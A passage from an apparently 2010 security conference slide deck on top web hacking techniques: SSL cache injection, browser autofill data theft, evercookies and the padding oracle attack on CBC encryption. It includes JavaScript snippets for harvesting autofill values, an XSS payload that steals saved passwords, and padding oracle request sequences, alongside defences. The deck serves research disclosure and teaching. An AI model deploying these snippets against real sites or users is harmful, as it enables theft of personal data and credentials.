  • 23. Browser Defense -- sort of • The only defense against cache injection is the SSL warning displayed by the browser when a bad certificate is supplied • Corner cases that allows an attacker to alter the way SSL certificate warning are displayed • These alterations make caching attack efficient as the user is more likely to click through the tampered warning 23
  • 24. Video Demo • The following demos show how caching injection attacks works against Internet Explorer 8 and Firefox 3.6 • These demos were done in real time against real sites with their real certificates 24
  • 25. Hacking Auto-Complete 3 This research encompasses a set of techniques where a malicious website may surreptitiously obtain their visitors names, job title, workplace, physical address, telephone number, email addresses, usernames, passwords, search terms, social security numbers, credit card numbers, and on and on by simulating JavaScript keystroke events in Web browsers HTML form auto-complete / autofill functionality. Jeremiah Grossman (@jeremiahg) http://jeremiahgrossman.blogspot.com/2010/08/breaking-browsers-hacking-auto-complete.html http://jeremiahgrossman.blogspot.com/2010/07/i-know-who-your-name-where-you-work-and.html http://jeremiahgrossman.blogspot.com/2010/09/safari-autofill-hack-lives.html http://jeremiahgrossman.blogspot.com/2010/07/in-firefox-we-cant-read-auto-complete.html 25
  • 26. I want to know your name, who you work for, where you live, your email address, etc. Right at the moment you a visit a website. Even if you’ve never been there before, let alone entered information. 26
  • 27. Safari Address Book Autofill (enabled by default) <form> <input type="text" name="name"> <input type="text" name="company"> <input type="text" name="city"> <input type="text" name="state"> <input type="text" name="country"> <input type="text" name="email"> </form> 27
  • 28. Address Card Autofill works even when you’ve NEVER entered personal data on ANY WEBSITE. 28
  • 29. Demo var event = document.createEvent('TextEvent'); event.initTextEvent('textInput', 1, 1, null, char); input.value = ""; Step 1) Dynamically create input.selectionStart = 0; input fields with the pre-set input.selectionEnd = 0; attribute names. input.focus(); input.dispatchEvent(event);! Step 2) Cycle through the ! alphabet initiating text events setTimeout(function() { until a form value populates. if (input.value.length > 1) { // capture the value; Step 3) Profit! -- Steal data } with JavaScript. }, 500); *transparency is even more fun!* Safari v4 / v5 29
  • 30. Internet Explorer 8 = SAFE 30
  • 31. AutoComplete: User-supplied form values are shared across different websites by attribute “name”. For example, email addresses entered into a field on website A populates the autofill for the same field name on website B, C, D, etc. <input type="text" name="email"> 31
  • 32. DEMO - Down, Down, Enter // hit down arrow an incrementing number of times. // separate with time to allow the GUI to keep pace for (var i = 1; i <= downs; i++) { time += 30; // time padding keyStroke(this, 40, time); // down button } ! ! time += 15; // time padding keyStroke(this, 13, time); // enter button // initiate keystroke on a given object function keyStroke(obj, code, t) { //create new event and fire var e = document.createEventObject(); e.keyCode = code; setTimeout(function() {obj.fireEvent("onkeydown", e); }, t); } // end keyStroke Security Basis, and an Internet Explorer data stealer http://webreflection.blogspot.com/2008/09/security-basis-and-internet-explorer.html Andrea Giammarchi, Ajaxian Staff 32
  • 33. Search terms Credit card numbers and CCVs Aliases Contact information Answers to secret questions Usernames Email addresses ... 33
  • 34. AutoComplete is NOT enabled by default, but Internet Explorer asks if the user if they would like to enable the feature after filling out a non-password form. 34
  • 35. Have the email address, but need the password 35
  • 36. Saving Passwords Many Web Browsers have “password managers,” which provide a convenient way to save passwords on a “per website” basis. <form method="post" action="/"> E-Mail: <input type="text" name="email"><br /> Password: <input type="password" name="pass"><br /> <input type="submit" value="Login"> </form> 36
  • 37. If a website with a saved password is vulnerable to XSS, the payload can dynamically create login forms, which executes the browser’s password auto-complete feature. Since the payload is on the same domain the username / password can be stolen. function stealCreds() { var string = "E-Mail: " + document.getElementById("u").value; string += "nPassword: " + document.getElementById("p").value; return string; } document.write('<form method="post" action="/">E-Mail: <input id="u" type="text" name="email" value=""><br>Password: <input id="p" type="password" name="password" value=""></form>'); setTimeout('alert(stealCreds())', 2000); * * DEMO 37
  • 38. What to do... Disable Auto-Complete in the Web browser Remove persistent data (History, Form Data, Cookies, LocalStorage, etc.) NoScript (Firefox Extension), 1Password, etc. <form autocomplete="off"> <input type="text" autocomplete="off" /> 38
  • 39. Evercookie 2 Evercookie is a javascript API available that produces extremely persistent cookies in a browser. Its goal is to identify a client even after they've removed standard cookies, Flash cookies (Local Shared Objects or LSOs), and others. Evercookie accomplishes this by storing the cookie data in several types of storage mechanisms that are available on the local browser. Additionally, if evercookie has found the user has removed any of the types of cookies in question, it recreates them using each mechanism available. Samy Kamkar (@samykamkar) http://samy.pl/evercookie/ 39
  • 40. 40
  • 41. Evercookies 1) Standard HTTP Cookies 6) Internet Explorer userData storage 2) Flash Cookies (LSOs) 7) Storing cookies in Web cache 3) Silverlight Isolated Storage 8) Storing cookies in HTTP ETags 4) Storing cookies in RGB values of auto- 9) HTML5 Session Storage generated, force-cached PNGs using HTML5 Canvas tag to read pixels 10) HTML5 Local Storage (cookies) back out 11) HTML5 Global Storage 5) Storing cookies in Web History 12) HTML5 Database Storage via SQLite 6)window.name caching 41
  • 42. The API • Persistent cookies via Javascript API • Recreates after deletion • Combines different storage mechanisms • Easy to use! var ec = new evercookie(); ec.set(“uniqueid”, “31337”); // set uniqueid = 31337 // get our evercookie data back ec.get(“uniqueid”, function(val) { alert (“ID is “ + val) } ); 42
  • 43. PNGs Cache Cookie stored in RGB values of auto-generated, force-cached PNGs using HTML5 Canvas Tag to read pixels back out Pixel 0x0 = 0x4f5741 OWA Pixel 0x1 = 0x535000 SP0 43
  • 44. Killing Evercookies (Video) 1) Open a new tab, then close all other windows and tabs. 2) Delete Silverlight Isolated Storage • Go to http://www.silverlight.net/ • Right click the Silverlight application (any app will do) • Silverlight Preferences > Application Storage > Delete all... • Click "Yes" • * Optionally disable "Enable application storage" 3) Delete Flash Local Shared Objects (LSO) • Go got the Flash "Website Storage Settings panel" • Click "Delete all sites" • Click "Confirm" 4) Clear Browsing Data • - Wrench > Tools > Clear Browsing Data... • - Select all options • - Clear data from this period: Everything • - Click "Clear Browsing data" http://singe.za.net/blog/archives/1014-Killing-the-Evercookie.html http://jeremiahgrossman.blogspot.com/2010/10/killing-evercookie-google-chrome-wo.html 44
  • 45. Other Protections • Nevercookie - The evercookie killer Firefox plugin to extend Firefox’s Private Browsing http://nevercookie.anonymizer.com/ • Use a virtual machine. (On your neighbor’s WiFi Network) 45
  • 46. Other Worries... • System/browser timing • GPU timing via plugins/accelerators (w/Flash) • MAC address accessible via Java or ActiveX! 46
  • 47. 'Padding Oracle' Crypto Attack 1 In 2002 a powerful side-channel attack, ‘padding oracle’ (NOT THE DATABASE!), was described targeting AES CBC-mode encryption with PKCS#5 padding. If there is an oracle which on receipt of a ciphertext, decrypts it and replies whether the padding is correct, shows how to use that oracle to decrypt data without knowing the encryption key. The new techniques allow attackers to use a ‘padding oracle’ to decrypt and encrypt messages of any length without knowing the secret key and exploit popular web development frameworks including ASP.NET. Juliano Rizzo (@julianor) Thai Duong (@thaidn) http://usenix.org/events/woot10/tech/full_papers/Rizzo.pdf http://netifera.com/research/ http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/ http://www.youtube.com/watch?v=yghiC_U2RaM http://threatpost.com/en_us/blogs/padding-oracle-crypto-attack-affects-millions-aspnet-apps-091310 47
  • 49. Padding Oracle Attack Basics An application uses a query string parameter to pass an encrypted username, company id, and role id of a user. The parameter is encrypted using CBC mode, and each value uses a unique initialization vector (IV) pre-pended to the ciphertext. When the application is sent an encrypted value, it responds in one of three ways: 1)Valid ciphertext, properly padded and valid data (200 OK) 2)Invalid ciphertext, improper padding (500 Internal Server Error) 3)Valid ciphertext, properly padded and invalid data (200 OK - custom error) User’s name (BRIAN), company id (12), and role id (2). The value, in plaintext, can be represented as BRIAN;12;2; http://site/app.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 49
  • 50. 50
  • 52. First block of ciphertext pre-pended with an IV of all NULL values. Request: http://site/app.jsp?UID=0000000000000000F851D6CC68FC9537 Response: 500 - Internal Server Error 52
  • 53. Last byte of the initialization vector incremented by one. Request: http://app/home.jsp?UID=0000000000000001F851D6CC68FC9537 Response: 500 - Internal Server Error 53
  • 54. Incrementing the last byte in the IV up to FF will produce a valid padding sequence for a single byte of padding (0×01). Only one value will produce the correct padding byte and have different response than the other 255. Request: http://site/app?UID=000000000000003CF851D6CC68FC9537 Response: 200 OK If [Intermediary Byte] ^ 0x3C == 0×01, then [Intermediary Byte] == 0x3C ^ 0×01, so [Intermediary Byte] == 0x3D 54
  • 55. To crack the 7th byte, the 7th and 8th byte must equal 0×02 for valid padding. Since we already know that the last intermediary value byte is 0x3D, we can update the 8th IV byte to 0x3F (which will produce 0×02) and then focus on brute forcing the 7th byte (starting with 0×00 and working our way up through 0xFF). 55
  • 56. Work backwards through the entire block until every byte of the intermediary value is cracked and uncovering the decrypted value one byte at a time. The final byte is cracked using an IV that produces an entire block of just padding (0×08). "The first stage of the attack takes a few thousand requests, but once it succeeds and the attacker gets the secret keys, it's totally stealthy.The cryptographic knowledge required is very basic." - Julian Rizzo 56
  • 57. <VIDEO> "It turns out that the vulnerability in ASP.NET is the most critical amongst other frameworks. In short, it totally destroys ASP.NET security," -Thai Duong 57
  • 58. Impact & Prevention Vulnerable Frameworks ASP.Net, CAPTCHAs, JavaServer Faces, OWASP ESAPI, Ruby On Rails, etc. Prevention •Encrypt-then-MAC (sign) and validate-then-decrypt •Patch! 58
  • 59. What have we learned? • Encryption attacks took the top spot for the 2nd year in a row. • Web Browser privacy? Web browser security? Not so much. • “Top Ten” attacks from previous years are being improved. • Several attack techniques from previous years are now actively being used maliciously in the wild. 59
  • 60. Thank You... • Sponsors: OWASP, Black Hat, WhiteHat Security • Panel of Experts: Ed Skoudis, Giorgio Maone, Caleb Sima, Chris Wysopal, Jeff Willams, Charlie Miller, Dan Kaminsky, Steven Christey (Mitre), and Arian Evans • All the security researchers for their contributions • Everyone in the Web Application Security community who assisted Blog: http://jeremiahgrossman.blogspot.com/ Twitter: http://twitter.com/jeremiahg Email: jeremiah@whitehatsec.com 60